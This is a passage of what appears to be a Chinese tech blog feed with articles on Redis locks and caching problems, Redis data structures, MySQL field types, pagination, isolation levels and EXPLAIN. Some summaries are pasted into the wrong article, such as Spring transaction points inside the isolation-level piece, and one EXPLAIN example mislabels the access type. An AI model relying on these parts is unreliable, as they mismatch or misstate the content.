// ❌ 业务执行时间超过锁超时
redisTemplate.opsForValue().setIfAbsent("lock", "value", 10, TimeUnit.SECONDS);
// 业务执行了15秒...锁已过期被释放

解决方案：使用 Redisson 的自动续期功能

#

2. 锁重入问题

// ❌ 不支持重入
boolean lock1 = tryLock("lock", "v1", 30);
boolean lock2 = tryLock("lock", "v2", 30); // 返回 false

解决方案：使用可重入锁（Redisson 支持）

#

3. 死锁预防

// ✅ 始终设置超时时间
redisTemplate.opsForValue()
    .setIfAbsent(key, value, timeout, TimeUnit.SECONDS);

总结

实现分布式锁的关键是：

  1. 使用 SET key value NX EX 保证原子性
  2. 使用唯一 value 防止误删别人的锁
  3. 使用 Lua 脚本保证解锁的原子性
  4. 在集群环境考虑使用 Redlock

我在项目中经历过多次锁相关的问题，这些经验希望能帮到你。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 缓存三大问题：穿透、击穿、雪崩的解决方案 //huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/ 缓存三大问题：穿透、击穿、雪崩的解决方案

在使用 Redis 缓存时，有三个经典问题需要特别注意：缓存穿透、缓存击穿和缓存雪崩。今天我想分享一下这些问题的原因和解决方案。

缓存穿透

问题描述

查询一个不存在的数据，每次都绕过缓存直接访问数据库。

// ❌ 穿透示例
public User getUser(Long userId) {
    String key = "user:" + userId;
    User user = redisTemplate.opsForValue().get(key);
    if (user == null) {
        user = userMapper.selectById(userId); // 数据库也查不到
    }
    return user;
}

解决方案

方案一：缓存空值

public User getUser(Long userId) {
    String key = "user:" + userId;
    User user = redisTemplate.opsForValue().get(key);
    
    if (user != null) {
        return user;
    }
    
    user = userMapper.selectById(userId);
    if (user != null) {
        redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
    } else {
        // 缓存空值，防止穿透
        redisTemplate.opsForValue().set(key, "", Duration.ofMinutes(5));
    }
    
    return user;
}

方案二：布隆过滤器

@Autowired
private BloomFilter<String> bloomFilter;

public User getUser(Long userId) {
    String key = "user:" + userId;
    
    // 先检查布隆过滤器
    if (!bloomFilter.mightContain(key)) {
        return null; // 一定不存在
    }
    
    User user = redisTemplate.opsForValue().get(key);
    if (user == null) {
        user = userMapper.selectById(userId);
        if (user != null) {
            redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
        }
    }
    
    return user;
}

缓存击穿

问题描述

热点 key 过期瞬间，大量请求直接打到数据库。

// ❌ 击穿示例：热点 key 过期
redisTemplate.opsForValue().set("hot:product:1", product, Duration.ofMinutes(5));
// 5分钟后 key 过期，大量请求同时访问数据库

解决方案

方案一：互斥锁

public Product getHotProduct(Long productId) {
    String key = "hot:product:" + productId;
    String lockKey = "lock:product:" + productId;
    
    Product product = redisTemplate.opsForValue().get(key);
    if (product != null) {
        return product;
    }
    
    // 获取锁
    Boolean locked = redisTemplate.opsForValue()
        .setIfAbsent(lockKey, "1", Duration.ofSeconds(30));
    
    if (Boolean.TRUE.equals(locked)) {
        try {
            // 再次检查缓存
            product = redisTemplate.opsForValue().get(key);
            if (product == null) {
                product = productMapper.selectById(productId);
                if (product != null) {
                    redisTemplate.opsForValue().set(key, product, Duration.ofMinutes(5));
                }
            }
        } finally {
            redisTemplate.delete(lockKey);
        }
    } else {
        // 等待其他线程完成
        Thread.sleep(100);
        return getHotProduct(productId);
    }
    
    return product;
}

方案二：逻辑过期

public Product getHotProduct(Long productId) {
    String key = "hot:product:" + productId;
    ProductWrapper wrapper = redisTemplate.opsForValue().get(key);
    
    if (wrapper == null) {
        // 从数据库加载并设置逻辑过期
        Product product = productMapper.selectById(productId);
        wrapper = new ProductWrapper(product, System.currentTimeMillis() + 5 * 60 * 1000);
        redisTemplate.opsForValue().set(key, wrapper, Duration.ofMinutes(60));
        return product;
    }
    
    if (wrapper.isExpired()) {
        // 异步刷新缓存
        executorService.submit(() -> refreshCache(productId));
    }
    
    return wrapper.getProduct();
}

缓存雪崩

问题描述

大量 key 同时过期，导致数据库压力骤增。

// ❌ 雪崩示例：所有 key 同一时间过期
redisTemplate.opsForValue().set("user:1", user1, Duration.ofMinutes(30));
redisTemplate.opsForValue().set("user:2", user2, Duration.ofMinutes(30));
redisTemplate.opsForValue().set("user:3", user3, Duration.ofMinutes(30));
// 30分钟后全部过期

解决方案

方案一：随机过期时间

public void cacheUser(User user) {
    String key = "user:" + user.getId();
    // 给过期时间增加随机值（20-40分钟）
    long random = ThreadLocalRandom.current().nextLong(20, 41);
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(random));
}

方案二：分级缓存

public User getUser(Long userId) {
    String hotKey = "hot:user:" + userId;
    String coldKey = "cold:user:" + userId;
    
    // 先查热点缓存（短过期）
    User user = redisTemplate.opsForValue().get(hotKey);
    if (user != null) {
        return user;
    }
    
    // 再查冷缓存（长过期）
    user = redisTemplate.opsForValue().get(coldKey);
    if (user != null) {
        return user;
    }
    
    // 从数据库加载
    user = userMapper.selectById(userId);
    if (user != null) {
        redisTemplate.opsForValue().set(hotKey, user, Duration.ofMinutes(5));
        redisTemplate.opsForValue().set(coldKey, user, Duration.ofHours(1));
    }
    
    return user;
}

实战建议

1. 监控缓存命中率

redis-cli INFO stats | grep keyspace_hits
redis-cli INFO stats | grep keyspace_misses

2. 设置合理的过期时间

// 根据访问频率设置不同过期时间
if (isHotKey(key)) {
    redisTemplate.opsForValue().set(key, value, Duration.ofMinutes(5));
} else {
    redisTemplate.opsForValue().set(key, value, Duration.ofHours(1));
}

3. 降级方案

@HystrixCommand(fallbackMethod = "getUserFallback")
public User getUser(Long userId) {
    // 正常缓存查询逻辑
}

public User getUserFallback(Long userId) {
    // 降级：返回默认值或空
    log.warn("缓存降级，userId: {}", userId);
    return null;
}

总结

缓存三大问题的核心解决方案：

  1. 穿透：缓存空值或使用布隆过滤器
  2. 击穿：使用互斥锁或逻辑过期
  3. 雪崩：分散过期时间或使用分级缓存

我在多个项目中都遇到过这些问题，关键在于提前预防和做好监控。

]]> Redis Redis 缓存 Redis 数据结构详解：从入门到实战 //redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/ Redis 数据结构详解：从入门到实战

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

数据结构概览

数据结构描述常用命令
String字符串SET, GET, INCR, DECR
Hash哈希表HSET, HGET, HGETALL
List双向链表LPUSH, RPUSH, LPOP, RPOP
Set无序集合SADD, SMEMBERS, SINTER
Sorted Set有序集合ZADD, ZRANGE, ZRANK

1. String：最基础的数据结构

String 是 Redis 最基础的数据结构，最大能存储 512MB 的数据。

// 设置字符串
redisTemplate.opsForValue().set("user:1001", "{\"id\":1,\"name\":\"John\"}");

// 获取字符串
String user = redisTemplate.opsForValue().get("user:1001");

// 自增操作
redisTemplate.opsForValue().increment("counter");

// 设置过期时间
redisTemplate.opsForValue().set("token:abc", "user:1001", Duration.ofMinutes(30));

应用场景：

  • 缓存用户信息、配置信息
  • 计数器（点赞数、访问量）
  • Session 存储
  • 分布式锁

2. Hash：适合存储对象

Hash 是一个键值对集合，适合存储对象。

// 设置哈希字段
redisTemplate.opsForHash().put("user:1001", "name", "John");
redisTemplate.opsForHash().put("user:1001", "email", "john@example.com");

// 获取哈希字段
String name = (String) redisTemplate.opsForHash().get("user:1001", "name");

// 获取所有字段
Map<Object, Object> user = redisTemplate.opsForHash().entries("user:1001");

// 删除字段
redisTemplate.opsForHash().delete("user:1001", "email");

应用场景：

  • 用户信息存储
  • 对象缓存
  • 配置管理

3. List：实现队列和栈

List 是一个双向链表，可以从两端操作。

// 从左边入队
redisTemplate.opsForList().leftPush("queue:tasks", "task1");
redisTemplate.opsForList().leftPush("queue:tasks", "task2");

// 从右边出队
String task = (String) redisTemplate.opsForList().rightPop("queue:tasks");

// 获取列表长度
Long size = redisTemplate.opsForList().size("queue:tasks");

// 获取列表元素
List<Object> tasks = redisTemplate.opsForList().range("queue:tasks", 0, -1);

应用场景：

  • 任务队列
  • 消息队列
  • 最新消息列表
  • 评论列表

4. Set：无序不重复集合

Set 是一个无序的、不重复的元素集合。

// 添加元素
redisTemplate.opsForSet().add("set:users", "user1", "user2", "user3");

// 判断元素是否存在
Boolean exists = redisTemplate.opsForSet().isMember("set:users", "user1");

// 获取集合大小
Long size = redisTemplate.opsForSet().size("set:users");

// 求交集
Set<Object> intersection = redisTemplate.opsForSet().intersect("set:a", "set:b");

// 求并集
Set<Object> union = redisTemplate.opsForSet().union("set:a", "set:b");

// 求差集
Set<Object> difference = redisTemplate.opsForSet().difference("set:a", "set:b");

应用场景：

  • 去重
  • 共同好友推荐
  • 标签系统
  • 抽奖活动

5. Sorted Set：有序集合

Sorted Set 是有序的、不重复的元素集合，每个元素都有一个分数（score）。

// 添加元素
redisTemplate.opsForZSet().add("zset:ranking", "user1", 100);
redisTemplate.opsForZSet().add("zset:ranking", "user2", 90);
redisTemplate.opsForZSet().add("zset:ranking", "user3", 80);

// 获取排名（从高到低）
Set<Object> top10 = redisTemplate.opsForZSet().reverseRange("zset:ranking", 0, 9);

// 获取某个元素的分数
Double score = redisTemplate.opsForZSet().score("zset:ranking", "user1");

// 获取某个元素的排名（从高到低）
Long rank = redisTemplate.opsForZSet().reverseRank("zset:ranking", "user1");

// 增加分数
redisTemplate.opsForZSet().incrementScore("zset:ranking", "user1", 10);

应用场景：

  • 排行榜
  • 热门榜单
  • 积分系统
  • 延迟任务

高级数据结构

#

HyperLogLog：基数统计

// 添加元素
redisTemplate.opsForHyperLogLog().add("hll:visitors", "user1", "user2", "user3");

// 统计基数
Long count = redisTemplate.opsForHyperLogLog().size("hll:visitors");

// 合并多个 HyperLogLog
redisTemplate.opsForHyperLogLog().union("hll:total", "hll:day1", "hll:day2");

应用场景：UV 统计、独立访客统计

#

Geo：地理位置

// 添加地理位置
redisTemplate.opsForGeo().add("geo:stores", new Point(116.40, 39.90), "store1");

// 计算两点距离
Distance distance = redisTemplate.opsForGeo().distance("geo:stores", "store1", "store2", RedisGeoCommands.DistanceUnit.KILOMETERS);

// 查找附近的地点
GeoResults<RedisGeoCommands.GeoLocation<String>> results = 
    redisTemplate.opsForGeo().radius("geo:stores", new Circle(new Point(116.40, 39.90), new Distance(5, RedisGeoCommands.DistanceUnit.KILOMETERS)));

应用场景：附近的人、附近的商店

#

Stream：消息流

// 添加消息
Map<String, Object> message = new HashMap<>();
message.put("orderId", "123");
message.put("amount", 100);
redisTemplate.opsForStream().add("stream:orders", message);

// 读取消息
List<MapRecord<String, String, Object>> messages = 
    redisTemplate.opsForStream().read(StreamOffset.fromStart("stream:orders"));

应用场景：消息队列、事件日志

实战建议

#

1. 选择合适的数据结构

// ❌ 错误：用 String 存储对象
redisTemplate.opsForValue().set("user:1001", "{\"name\":\"John\",\"email\":\"john@example.com\"}");

// ✅ 正确：用 Hash 存储对象
redisTemplate.opsForHash().put("user:1001", "name", "John");
redisTemplate.opsForHash().put("user:1001", "email", "john@example.com");

#

2. 设置合理的过期时间

redisTemplate.opsForValue().set("cache:user:1001", user, Duration.ofMinutes(30));

#

3. 使用合适的序列化方式

// 配置 JSON 序列化
@Bean
public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) {
    RedisTemplate<String, Object> template = new RedisTemplate<>();
    template.setConnectionFactory(factory);
    template.setKeySerializer(new StringRedisSerializer());
    template.setValueSerializer(new GenericJackson2JsonRedisSerializer());
    return template;
}

总结

Redis 的数据结构各有特点，选择合适的数据结构能显著提升性能和开发效率。在实际项目中，我通常根据业务场景选择：

  • 简单缓存用 String
  • 对象存储用 Hash
  • 队列用 List 或 Stream
  • 排行榜用 Sorted Set
  • 去重用 Set

写这篇文章时，我特意整理了各个数据结构的应用场景。理解数据结构是用好 Redis 的关键，希望这些内容能帮到你。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 数据库字段类型设计：如何贴近业务需求 //shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/ 数据库字段类型设计：如何贴近业务需求

数据库字段类型的选择直接影响系统性能和数据完整性。今天分享一下我在项目中总结的字段类型设计经验。

字段类型选择原则

1. 数值类型

类型范围适用场景
TINYINT-128 ~ 127布尔值、状态码（如 0/1）
SMALLINT-32768 ~ 32767小范围数值（如年龄、数量）
INT-21亿 ~ 21亿常规数值（如用户ID、订单ID）
BIGINT-9e18 ~ 9e18大数值（如雪花ID）
DECIMAL(M,D)精确小数金额、百分比
-- 用户表
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    age TINYINT UNSIGNED, -- 年龄，0-255足够
    status TINYINT DEFAULT 1, -- 状态：0禁用，1启用
    balance DECIMAL(10,2) -- 余额，精确到分
);

2. 字符串类型

类型特点适用场景
CHAR(n)定长，效率高固定长度字符串（如手机号、身份证号）
VARCHAR(n)变长，节省空间可变长度字符串（如姓名、地址）
TEXT大文本长文本内容（如文章正文）
ENUM枚举值固定选项（如性别、订单状态）
-- 订单表
CREATE TABLE orders (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    order_no CHAR(20), -- 订单号，固定长度
    status ENUM('PENDING', 'PAID', 'SHIPPED', 'COMPLETED'), -- 订单状态
    remark TEXT -- 备注，可能较长
);

3. 日期时间类型

类型精度适用场景
DATE年月日生日、日期
TIME时分秒时间点
DATETIME年月日时分秒记录时间（如创建时间）
TIMESTAMP年月日时分秒时间戳，自动更新
-- 日志表
CREATE TABLE logs (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    created_at DATETIME NOT NULL, -- 创建时间
    updated_at TIMESTAMP ON UPDATE CURRENT_TIMESTAMP -- 更新时间，自动更新
);

常见误区

误区一：滥用 VARCHAR(255)

-- ❌ 错误：所有字符串都用 VARCHAR(255)
CREATE TABLE users (
    name VARCHAR(255), -- 姓名最多50字足够
    phone VARCHAR(255), -- 手机号固定11位
    email VARCHAR(255) -- 邮箱一般不超过100字符
);

-- ✅ 正确：根据业务实际长度设置
CREATE TABLE users (
    name VARCHAR(50),
    phone CHAR(11),
    email VARCHAR(100)
);

误区二：用字符串存储数值

-- ❌ 错误：用字符串存储数值
CREATE TABLE orders (
    user_id VARCHAR(50), -- 应该用 BIGINT
    amount VARCHAR(50) -- 应该用 DECIMAL
);

-- ✅ 正确：使用合适的数值类型
CREATE TABLE orders (
    user_id BIGINT,
    amount DECIMAL(10,2)
);

误区三：忽略字符集

-- ❌ 错误：使用默认字符集可能导致乱码
CREATE TABLE articles (
    title VARCHAR(100),
    content TEXT
) DEFAULT CHARACTER SET latin1; -- 不支持中文

-- ✅ 正确：使用 UTF-8
CREATE TABLE articles (
    title VARCHAR(100),
    content TEXT
) DEFAULT CHARACTER SET utf8mb4; -- 支持 emoji

实战案例

案例一：用户表设计

CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT COMMENT '用户ID',
    username VARCHAR(50) NOT NULL UNIQUE COMMENT '用户名',
    email VARCHAR(100) NOT NULL UNIQUE COMMENT '邮箱',
    phone CHAR(11) COMMENT '手机号',
    gender TINYINT COMMENT '性别：0未知，1男，2女',
    age TINYINT UNSIGNED COMMENT '年龄',
    status TINYINT DEFAULT 1 COMMENT '状态：0禁用，1启用',
    balance DECIMAL(12,2) DEFAULT 0 COMMENT '余额',
    created_at DATETIME NOT NULL COMMENT '创建时间',
    updated_at TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'
);

案例二：订单表设计

CREATE TABLE orders (
    id BIGINT PRIMARY KEY AUTO_INCREMENT COMMENT '订单ID',
    order_no CHAR(20) NOT NULL UNIQUE COMMENT '订单编号',
    user_id BIGINT NOT NULL COMMENT '用户ID',
    status ENUM('PENDING', 'PAID', 'SHIPPED', 'COMPLETED', 'CANCELLED') NOT NULL COMMENT '订单状态',
    amount DECIMAL(12,2) NOT NULL COMMENT '订单金额',
    pay_amount DECIMAL(12,2) NOT NULL COMMENT '实付金额',
    discount DECIMAL(8,2) DEFAULT 0 COMMENT '优惠金额',
    pay_time DATETIME COMMENT '支付时间',
    ship_time DATETIME COMMENT '发货时间',
    created_at DATETIME NOT NULL COMMENT '创建时间',
    updated_at TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'
);

性能优化建议

1. 选择合适的索引类型

-- 数值类型适合 B-tree 索引
CREATE INDEX idx_user_id ON orders(user_id);

-- 字符串类型索引注意长度
CREATE INDEX idx_username ON users(username(10)); -- 前缀索引

2. 避免在索引列上使用函数

-- ❌ 索引失效
SELECT * FROM orders WHERE DATE(created_at) = '2024-01-01';

-- ✅ 使用索引
SELECT * FROM orders WHERE created_at >= '2024-01-01 00:00:00' 
                       AND created_at < '2024-01-02 00:00:00';

3. 考虑数据分布

-- 如果 status 只有几种值，建索引收益不大
SELECT * FROM orders WHERE status = 'PAID';

-- 如果 user_id 分布均匀，索引效果好
SELECT * FROM orders WHERE user_id = 1001;

总结

字段类型设计的关键是：

  1. 根据业务需求选择合适的类型
  2. 考虑数据的实际范围和精度
  3. 注意字符集和排序规则
  4. 为后续扩展留有余地

写这篇文章时，我回顾了几个项目的数据库设计。合理的字段类型选择不仅能提高性能，还能保证数据完整性。希望这些经验能帮到你。

]]> MySQL SQL MySQL优化 分页查询优化：从 Offset 到游标分页 //fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/ 分页查询优化：从 Offset 到游标分页

在处理大数据量分页时，传统的 LIMIT OFFSET 方式会遇到性能问题。今天分享一下分页查询的优化方案。

传统分页的问题

问题描述

-- 第一页，很快
SELECT * FROM orders 
WHERE user_id = 1001 
ORDER BY created_at DESC 
LIMIT 0, 20;

-- 第 10000 页，很慢
SELECT * FROM orders 
WHERE user_id = 1001 
ORDER BY created_at DESC 
LIMIT 200000, 20;

原因：MySQL 需要扫描前 200000 条记录，然后丢弃它们。

执行计划分析

EXPLAIN SELECT * FROM orders 
WHERE user_id = 1001 
ORDER BY created_at DESC 
LIMIT 200000, 20;

结果：

  • type：range
  • key：idx_user_time
  • rows：200020（需要扫描大量行）
  • Extra：Using where; Using index condition

游标分页方案

基于 ID 的游标分页

-- 第一页
SELECT * FROM orders 
WHERE user_id = 1001 
ORDER BY id DESC 
LIMIT 20;

-- 获取最后一条记录的 ID
-- 假设最后一条记录的 ID 是 200000

-- 下一页
SELECT * FROM orders 
WHERE user_id = 1001 
  AND id < 200000 
ORDER BY id DESC 
LIMIT 20;

优点：

  • 每次查询都从索引起点开始
  • 不需要扫描前面的记录
  • 性能稳定

基于时间戳的游标分页

-- 第一页
SELECT * FROM orders 
WHERE user_id = 1001 
ORDER BY created_at DESC, id DESC 
LIMIT 20;

-- 获取最后一条记录的时间戳和 ID
-- 假设最后一条记录: created_at = '2024-01-15 10:30:00', id = 200000

-- 下一页
SELECT * FROM orders 
WHERE user_id = 1001 
  AND (created_at < '2024-01-15 10:30:00' OR 
       (created_at = '2024-01-15 10:30:00' AND id < 200000)) 
ORDER BY created_at DESC, id DESC 
LIMIT 20;

为什么需要 ID：同一时间戳可能有多条记录

双向游标分页

-- 上一页（假设当前页第一条记录的 ID 是 199981）
SELECT * FROM orders 
WHERE user_id = 1001 
  AND id > 199981 
ORDER BY id ASC 
LIMIT 20;

-- 然后反转结果

实现示例

后端实现

@Data
public class PageRequest {
    private Long cursorId;
    private Integer limit = 20;
    private String direction = "NEXT"; // NEXT 或 PREV
}

@Data
public class PageResponse<T> {
    private List<T> items;
    private Boolean hasNext;
    private Boolean hasPrev;
    private Long nextCursor;
    private Long prevCursor;
}

@Service
public class OrderService {
    
    public PageResponse<OrderDTO> listOrders(Long userId, PageRequest request) {
        List<Order> orders;
        
        if ("NEXT".equals(request.getDirection())) {
            if (request.getCursorId() == null) {
                // 第一页
                orders = orderRepository.findByUserIdOrderByIdDesc(userId, request.getLimit());
            } else {
                // 下一页
                orders = orderRepository.findByUserIdAndIdLessThanOrderByIdDesc(
                    userId, request.getCursorId(), request.getLimit());
            }
        } else {
            // 上一页
            orders = orderRepository.findByUserIdAndIdGreaterThanOrderByIdAsc(
                userId, request.getCursorId(), request.getLimit());
            // 反转顺序
            Collections.reverse(orders);
        }
        
        PageResponse<OrderDTO> response = new PageResponse<>();
        response.setItems(orders.stream().map(this::convertToDTO).collect(Collectors.toList()));
        response.setHasNext(orders.size() == request.getLimit());
        
        return response;
    }
}

SQL 查询

-- 第一页
SELECT * FROM orders 
WHERE user_id = ? 
ORDER BY id DESC 
LIMIT ?;

-- 下一页
SELECT * FROM orders 
WHERE user_id = ? 
  AND id < ? 
ORDER BY id DESC 
LIMIT ?;

-- 上一页
SELECT * FROM orders 
WHERE user_id = ? 
  AND id > ? 
ORDER BY id ASC 
LIMIT ?;

适用场景对比

分页方式优点缺点适用场景
LIMIT OFFSET简单，支持跳页大 offset 性能差数据量小，需要跳页
游标分页性能稳定，支持无限滚动不支持跳页数据量大，无限滚动

实战建议

1. 选择合适的分页方式

// 管理后台，需要跳页功能
if (isAdmin) {
    return limitOffsetPagination(request);
}

// 用户端，只需要上一页/下一页
return cursorPagination(request);

2. 创建合适的索引

-- 基于 ID 的游标分页
CREATE INDEX idx_user_id ON orders(user_id, id DESC);

-- 基于时间戳的游标分页
CREATE INDEX idx_user_time_id ON orders(user_id, created_at DESC, id DESC);

3. 处理边界情况

// 游标为空时返回第一页
if (cursorId == null) {
    return findFirstPage();
}

// 结果为空时返回空列表
if (orders.isEmpty()) {
    return emptyResponse();
}

4. 限制分页深度

// 防止恶意请求
if (offset > 10000) {
    throw new BusinessException("请使用游标分页");
}

总结

分页查询的优化策略：

  1. 小数据量、需要跳页：使用 LIMIT OFFSET
  2. 大数据量、无限滚动：使用游标分页
  3. 创建合适的索引是关键
  4. 根据业务场景选择合适的方案

写这篇文章时，我特意做了性能测试。在大数据量场景下，游标分页的性能比传统分页好几个数量级。希望这些内容能帮到你。

]]> MySQL SQL MySQL优化 慢 SQL 排查和优化完整流程 //man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/ 慢 SQL 排查和优化完整流程

慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 事务隔离级别：深入理解幻读和解决方案 //mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/ MySQL 事务隔离级别：深入理解幻读和解决方案

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

事务的 ACID 特性

首先回顾一下事务的四个基本特性：

特性说明
原子性 (Atomicity)事务是一个不可分割的工作单位
一致性 (Consistency)事务执行前后数据完整性保持一致
隔离性 (Isolation)多个事务之间相互隔离
持久性 (Durability)事务提交后数据永久保存

四种隔离级别

MySQL 支持四种隔离级别，从低到高依次是：

#

1. READ UNCOMMITTED（读未提交）

最低级别，允许读取未提交的数据：

SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;

问题：会出现脏读（读取到其他事务未提交的数据）。

#

2. READ COMMITTED（读已提交）

只能读取已提交的数据：

SET TRANSACTION ISOLATION LEVEL READ COMMITTED;

问题：会出现不可重复读（同一事务内多次读取同一数据，结果不同）。

#

3. REPEATABLE READ（可重复读）

MySQL 默认级别，保证同一事务内读取数据的一致性：

SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;

问题：可能出现幻读（同一事务内相同查询返回不同数量的行）。

#

4. SERIALIZABLE（串行化）

最高级别，事务串行执行：

SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;

特点：完全隔离，但性能最差。

什么是幻读？

举个例子理解幻读：

事务 A：

BEGIN;
SELECT COUNT(*) FROM orders WHERE status = 'PENDING'; -- 返回 10
-- 此时事务 B 插入一条新订单
SELECT COUNT(*) FROM orders WHERE status = 'PENDING'; -- 返回 11（幻读）
COMMIT;

事务 B：

BEGIN;
INSERT INTO orders (user_id, status) VALUES (1001, 'PENDING');
COMMIT;

事务 A 两次查询结果不同，就像出现了幻觉。

InnoDB 如何解决幻读？

MySQL 5.1 引入了 Next-Key Locking（间隙锁）来解决幻读问题：

-- 在 REPEATABLE READ 级别下执行
SELECT * FROM orders WHERE status = 'PENDING' FOR UPDATE;

这条语句会锁住：

  1. 所有符合条件的行（记录锁）
  2. 条件范围内的间隙（间隙锁）

这样其他事务就无法在这个范围内插入新数据。

实战建议

#

1. 选择合适的隔离级别

  • 默认使用 REPEATABLE READ：大多数场景足够
  • 读密集型应用：可以考虑 READ COMMITTED，提升并发性能
  • 数据一致性要求极高：使用 SERIALIZABLE

#

2. 解决幻读的方案

方案一：使用 FOR UPDATE

SELECT * FROM orders WHERE user_id = 1001 FOR UPDATE;

方案二：使用更高隔离级别

SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;

方案三：应用层处理
在业务代码中检查数据变化，必要时重试事务。

#

3. 注意事项

  • 间隙锁可能导致死锁，需要合理设计索引
  • 高并发场景下，锁等待可能成为性能瓶颈
  • 分布式事务需要额外考虑一致性问题

总结

事务隔离级别是数据库并发控制的核心。理解不同级别的特点和适用场景，能帮助我们在数据一致性和性能之间找到平衡。实际项目中，我通常使用默认的 REPEATABLE READ 级别，遇到幻读问题时再针对性处理。

写这篇文章时，我特意做了几个实验验证不同隔离级别的行为。纸上得来终觉浅，动手实践才能真正理解。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL SQL MySQL优化 MySQL EXPLAIN 执行计划：关键字段详解 //explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/ MySQL EXPLAIN 执行计划：关键字段详解

SQL 优化不能凭感觉，EXPLAIN 执行计划是最好的帮手。今天就来聊聊执行计划里那些关键字段，帮你快速定位性能问题。

基本用法

EXPLAIN SELECT * FROM orders 
WHERE user_id = 1001 AND status = 'PAID' 
ORDER BY created_at DESC 
LIMIT 20;

执行结果会返回一个表格，包含多个字段。下面重点介绍几个关键字段。

关键字段解读

1. id：查询序列号

-- 子查询会有多个 id
EXPLAIN 
SELECT * FROM orders 
WHERE user_id IN (SELECT id FROM users WHERE status = 'ACTIVE');
  • 相同 id：执行顺序由上到下
  • 不同 id：id 越大越先执行
  • NULL：表示这是一个结果集

2. select_type：查询类型

类型说明
SIMPLE简单查询，没有子查询或 UNION
SUBQUERY子查询中的第一个 SELECT
DERIVED派生表（FROM 子句中的子查询）
UNIONUNION 中的第二个或后面的 SELECT
UNION RESULTUNION 的结果集

3. type：访问类型（最重要！）

-- 从差到好排序
ALL < index < range < ref < eq_ref < const/system < NULL
  • ALL：全表扫描，性能最差
  • index：全索引扫描
  • range：索引范围扫描（如 BETWEEN、IN）
  • ref：非唯一索引扫描
  • eq_ref：唯一索引扫描，最多返回一条记录
  • const/system：常量查询，一次就能找到结果
-- 示例：type = ref
EXPLAIN SELECT * FROM orders WHERE user_id = 1001;

-- 示例：type = eq_ref  
EXPLAIN SELECT * FROM orders WHERE id = 1;

4. key：实际使用的索引

EXPLAIN SELECT * FROM orders 
WHERE user_id = 1001 AND status = 'PAID';

如果 key 为 NULL，表示没有使用索引。

5. key_len：使用的索引长度

-- 索引长度越短越好
EXPLAIN SELECT * FROM orders WHERE user_id = 1001;

6. rows：预估扫描行数

EXPLAIN SELECT * FROM orders WHERE status = 'PAID';

这个值是优化器预估的，实际行数可能不同。

7. Extra：额外信息

-- 常见的 Extra 值
EXPLAIN SELECT * FROM orders WHERE user_id = 1001;

重要的 Extra 值：

  • Using index：覆盖索引，不需要回表
  • Using where：需要在存储引擎之外过滤数据
  • Using filesort：需要额外排序，性能差
  • Using temporary：使用临时表，性能差
  • Backward index scan：反向索引扫描

实战案例

问题：查询性能慢

-- 原始查询
